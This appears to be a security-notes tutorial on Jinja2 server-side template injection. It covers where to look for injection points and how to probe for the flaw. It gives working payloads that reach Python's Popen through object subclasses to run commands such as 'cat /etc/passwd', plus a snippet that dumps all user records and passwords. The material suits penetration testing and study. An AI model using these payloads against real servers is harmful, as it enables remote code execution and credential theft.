Jinja2 SSTI
Jinja2 Server Side Template Injection
What are templates?
A template is a file or string that contains both static text and special placeholders that get replaced with real data when generating the final content.
We can have a template like:
Hello {{ name }}!
With name = "Alice"
, it becomes:
Hello Alice!
Jinja2 is a popular template engine used in Python web applications. It offers great flexibility and powerful features for rendering templates. However, if user input is not properly validated and escaped, Jinja2 can be vulnerable to Server-Side Template Injection (SSTI) attacks.
Looking for injection points
User Input Fields
Inputs like textboxes, search bars, or comment sections where users can enter data.
URL parameters
Values passed in the URL query string or as part of the path that can be manipulated.
HTTP-Header
Headers such as User-Agent
or Referer
that may contain user-supplied data.
Cookies
Data stored in browser cookies that users can tamper with.
Form Data
Data submitted through web forms that might be used in templates.
File Uploads
Uploaded files that may be processed by the template engine, posing a security risk.
Database Queries
Dynamic content retrieved from the database that could include unsafe user input.
For the Jinja templates check for vulnerablity with {{7*'7'}}
, if the output show 49 its vulnerable.
SSTI Exploration
Server Side Template Injections (SSTI) vulnerabilities can happen when an attacker can modify the template code before it being rendered by the template engine. When running in sandboxed enviroments and keywords are blocked we can still check for:
{{ dict }}
: Class object of the dictionary.{{ request }}
: Object containing request information.{{ config }}
:
In python variables are objects and those objects internal functions, they start with __ and end with __. If you would look at the int
functions with dir()
like dir(int(0))
you will see:
__add__
— used when you do1 + 2
__str__
— used when you dostr(5)
(for printing)__repr__
— used for representing the object in code (repr(5)
)
Using classes like Popen to execute code
In case of using editor print like
print(render_template_string("{{ [].__class__.__base__.__subclasses__()[317]('env', shell=True, stdout=-1).communicate()[0].strip() }}"))
# Check base class
{{ [].__class__.__base__ }}
# List sublasses
{{ [].__class__.__base__.__subclasses__() }}
# Return class of index
{{ [].__class__.__base__.__subclasses__()[422] }}
# If you found index of subclass.Popen, call it and get RCE.
{{ [].__class__.__base__.__subclasses__()[422](‘cat /etc/passwd’,shell=True,stdout=-1).communicate()[0].strip() }}
Acces database
Not SSTI specific but with python get users and passwords
for user in User.query.all():
print(user.__dict__)
Last updated
Was this helpful?